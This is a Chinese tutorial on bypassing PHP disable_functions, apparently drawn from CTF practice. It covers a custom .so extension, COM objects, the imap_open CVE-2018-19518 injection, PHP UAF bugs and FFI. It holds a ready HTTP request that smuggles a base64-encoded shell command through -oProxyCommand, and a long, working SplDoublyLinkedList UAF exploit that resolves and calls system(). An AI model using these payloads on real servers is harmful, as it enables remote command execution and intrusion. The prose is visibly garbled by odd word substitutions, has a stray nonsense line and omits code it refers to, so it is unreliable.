加载so扩展

前面虽然阐明了其事理,但毕竟理论与实践有所差异,因此我们可以自己打一下extension进行测试。

so文件可以从项目中获取,根据其提示编译即可获取ant.so的库,修正php-fpm的php.ini,加入:

php跳过ifphp中函数禁用绕过的道理与应用下 JavaScript

extension=/var/www/html/ant.so

然后重启php-fpm,如果利用如下:

成功实行命令时即解释扩展成功加载,那么我们再把ini规复为先前的样子,我们考试测验直接攻击php-fpm来修正其配置项。

以脚本来攻击:

通过修正其内的code即可,效果如下:

漏洞利用成功。

com组件

事理&利用

须要目标机器知足下列三个条件:

com.allow_dcom = trueextension=php_com_dotnet.dllphp>5.4

此时com组件开启,我们能够在phpinfo中看到:

要知道事理还是直接从exp看起:

首先,以new COM('WScript.shell')来天生一个com工具,里面的参数也可以为Shell.Application(笔者的win10下测试失落败)。

然后这个com工具中存在着exec可以用来实行命令,而后续的方法则是将命令输出,该办法的利用还是较为大略的,就不多讲了。

imap_open

该bypass办法为CVE-2018-19518

事理

imap扩展用于在PHP中实行邮件收发操作,而imap_open是一个imap扩展的函数,在利用时常日以如下形式:

$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);

那么该函数在调用时会调用rsh来连接远程shell,而在debian/ubuntu中默认利用ssh来代替rsh的功能,也即是说在这俩系统中调用的实际上是ssh,而ssh中可以通过-oProxyCommand=来调用命令,该选项可以使得我们在连接做事器之前先实行命令,并且须要把稳到的是此时并不是php阐明器在实行该系统命令,其以一个独立的进程去实行了该命令,因此我们也就成功的bypass disable function了。

那么我们可以先在ubuntu上试验一下:

ssh -oProxyCommand="ls>test" 192.168.2.1

环境的话vulhub上有,个中给出了poc:

POST / HTTP/1.1Host: your-ipAccept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 125hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

我们可以创造个中利用了%09来绕过空格,以base64的形式来实行我们的命令,那么我这里再验证一下:

hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222//ls>test

会创造成功写入了一个test,漏洞利用成功,那么接下来便是各种肆意妄为了。

三种UAF

EXP在:https://github.com/mm0r1/exploits

三种uaf分别是:

Json Serializer UAFGC UAFBacktrace UAF

关于uaf的利用由于涉及到二进制干系的知识,而笔者是个web狗,因此暂时只会用exp打打,因此这里就不多说,就暂时先轻微提一下三种uaf的利用版本及其概述//实在我便是照搬了exp里面的解释,读者可以看exp作者的解释就行了。

Json Serializer UAF

漏洞涌现的版本在于:

7.1 - all versions to date7.2 < 7.2.19 (released: 30 May 2019)7.3 < 7.3.6 (released: 30 May 2019)

漏洞利用json在序列化中的堆溢出触发bypass,漏洞为bug #77843

GC UAF

漏洞涌现的版本在于:

7.0 - all versions to date7.1 - all versions to date7.2 - all versions to date7.3 - all versions to date

漏洞利用的是php garbage collector(垃圾网络器)程序中的堆溢出达成bypass,漏洞为:bug #72530

Backtrace UAF

漏洞涌现的版本在于:

7.0 - all versions to date7.1 - all versions to date7.2 - all versions to date7.3 < 7.3.15 (released 20 Feb 2020)7.4 < 7.4.3 (released 20 Feb 2020)

漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为bug #76047

利用

利用的话exp或者蚁剑上都有利用插件了,这里不多讲,可以上ctfhub测试。

SplDoublyLinkedList UAF

概述

这个UAF是在先知上看到的,引用原文来概述:

可以看到,删除元素的操作被放在了置空 traverse_pointer 指针前。

以是在删除一个工具时,我们可以在其构析函数中通过 current 访问到这个工具,也可以通过 next 访问到下一个元素。
如果此时下一个元素已经被删除,就会导致 UAF。

PHP 部分(仅在 7.4.10、7.3.22、7.2.34 版本测试)

exp

exp同样出自原文。

php部分:

<?phperror_reporting(0);$a = str_repeat("T", 120 1024 1024);function i2s(&$a, $p, $i, $x = 8) { for($j = 0;$j < $x;$j++) { $a[$p + $j] = chr($i & 0xff); $i >>= 8; }}function s2i($s) { $result = 0; for ($x = 0;$x < strlen($s);$x++) { $result <<= 8; $result |= ord($s[$x]); } return $result;}function leak(&$a, $address) { global $s; i2s($a, 0x00, $address - 0x10); return strlen($s -> current());}function getPHPChunk($maps) { $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /'; preg_match_all($pattern, $maps, $match); foreach ($match[1] as $value) { list($start, $end) = explode("-", $value); if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) { $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length); echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n"; return $address; } }}function bomb1(&$a) { if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) { return (s2i($_GET["test1"]) & 0x7ffff0000000); }else { die("[!]Where is here"); }}function bomb2(&$a) { $start = s2i($_GET["test2"]); return getElement($a, array($start, $start + 0x200000, 0x200000)); die("[!]Not Found");}function getElement(&$a, $address) { for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) { $addr = 0x108 + $address[0] + 0x1000 $x + 0x1000; for ($y = 0;$y < 5;$y++) { if (leak($a, $addr + $y 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y 0x08 - 0x08) & 0xffffffff) === 0x01)){ echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y 0x08 - 0x18) . "\n"; return $addr + $y 0x08 - 0x18; } } }}function getClosureChunk(&$a, $address) { do { $address = leak($a, $address); }while(leak($a, $address) !== 0x00); echo "[+]Closure Chunk: " . dechex($address) . "\n"; return $address;}function getSystem(&$a, $address) { $start = $address & 0xffffffffffff0000; $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000; for($i = 0; $i < 0x1000 0x80; $i++) { $addr = $start - $i 0x20; if ($addr < $lowestAddr) { break; } $nameAddr = leak($a, $addr); if ($nameAddr > $address || $nameAddr < $lowestAddr) { continue; } $name = dechex(leak($a, $nameAddr)); $name = str_pad($name, 16, "0", STR_PAD_LEFT); $name = strrev(hex2bin($name)); $name = explode("\x00", $name)[0]; if($name === "system") { return leak($a, $addr + 0x08); } }}class Trigger { function __destruct() { global $s; unset($s[0]); $a = str_shuffle(str_repeat("T", 0xf)); i2s($a, 0x00, 0x1234567812345678); i2s($a, 0x08, 0x04, 7); $s -> current(); $s -> next(); if ($s -> current() !== 0x1234567812345678) { die("[!]UAF Failed"); } $maps = file_get_contents("/proc/self/maps"); if (!$maps) { cantRead($a); }else { canRead($maps, $a); } echo "[+]Done"; }}function bypass($elementAddress, &$a) { global $s; if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) { die("[!]Get Closure Chunk Address Failed"); } $closure_object = leak($a, $closureChunkAddress + 0x18); echo "[+]Closure Object: " . dechex($closure_object) . "\n"; $closure_handlers = leak($a, $closure_object + 0x18); echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n"; if(!($system_address = getSystem($a, $closure_handlers))) { die("[!]Couldn't determine system address"); } echo "[+]Find system's handler: " . dechex($system_address) . "\n"; i2s($a, 0x08, 0x506, 7); for ($i = 0;$i < (0x130 / 0x08);$i++) { $data = leak($a, $closure_object + 0x08 $i); i2s($a, 0x00, $closure_object + 0x30); i2s($s -> current(), 0x08 $i + 0x100, $data); } i2s($a, 0x00, $closure_object + 0x30); i2s($s -> current(), 0x20, $system_address); i2s($a, 0x00, $closure_object); i2s($a, 0x08, 0x108, 7); echo "[+]Executing command: \n"; ($s -> current())("php -v");}function canRead($maps, &$a) { global $s; if (!$chunkAddress = getPHPChunk($maps)) { die("[!]Get PHP Chunk Address Failed"); } i2s($a, 0x08, 0x06, 7); if (!$elementAddress = getElement($a, $chunkAddress)) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a);}function cantRead(&$a) { global $s; i2s($a, 0x08, 0x06, 7); if (!isset($_GET["test1"]) && !isset($_GET["test2"])) { die("[!]Please try to get address of PHP Chunk"); } if (isset($_GET["test1"])) { die(dechex(bomb1($a))); } if (isset($_GET["test2"])) { $elementAddress = bomb2($a); } if (!$elementAddress) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a);}$s = new SplDoublyLinkedList();$s -> push(new Trigger());$s -> push("Twings");$s -> push(function($x){});for ($x = 0;$x < 0x100;$x++) { $s -> push(0x1234567812345678);}$s -> rewind();unset($s[0]);

python部分:

ffi扩展

ffi扩展笔者初见于TCTF/0CTF 2020中的easyphp,当时是由于非预期解拿到flag创造了ffi三个字母才理解到php7.4中多了ffi这种东西。

事理

PHP FFI(Foreign Function interface),供应了高等措辞直接的相互调用,而对付PHP而言,FFI让我们可以方便的调用C措辞写的各种库。

也即是说我们可以通过ffi来调用c措辞的函数从而绕过disable的限定,我们可以大略利用一个示例来体会一下:

输出如下:

那么这种利用办法可能涌现的场景还不是很多,因此笔者轻微讲解一下。

首先是cdef:

这一行是创建一个ffi工具,默认就会加载标准库,以本行为例是导入system这个函数,而这个函数天经地义是存在于标准库中,那么我们若要导入库时则可以以如下办法:

可以看看其函数原型:

取得了ffi工具后我们就可以直接调用函数了:

之后的代码较为大略就不多讲,那么接下来看看实际运用该从哪里入手。

利用

以tctf的题目为例,题目直接把cdef过滤了,并且存在着basedir,但我们可以利用之前说过bypass basedir来列目录,逐一考试测验能够创造可以利用glob列根目录目录:

可以创造根目录存在着flag.h跟so:

由于后面环境没有保存,笔者这里大略复述一下当时题目的情形(仅针对预期解)。

创造了flag.h之后查看ffi干系文档能够创造一个load方法可以加载头文件。

于是有了如下:

但当我们想要打印头文件来获取其内存在的函数时会尴尬的创造如下:

我们无法获取到存在的函数构造,因此也就无法利用ffi调用函数,这一步路就断了,并且cdef也被过滤了,无法直接调用system函数,但查看文档能够创造ffi中存在着不少与内存干系的函数,因此存在着内存透露的可能,这里借用飘零师傅的exp:

获取到函数名后直接调用函数然后把结果打印出来即可: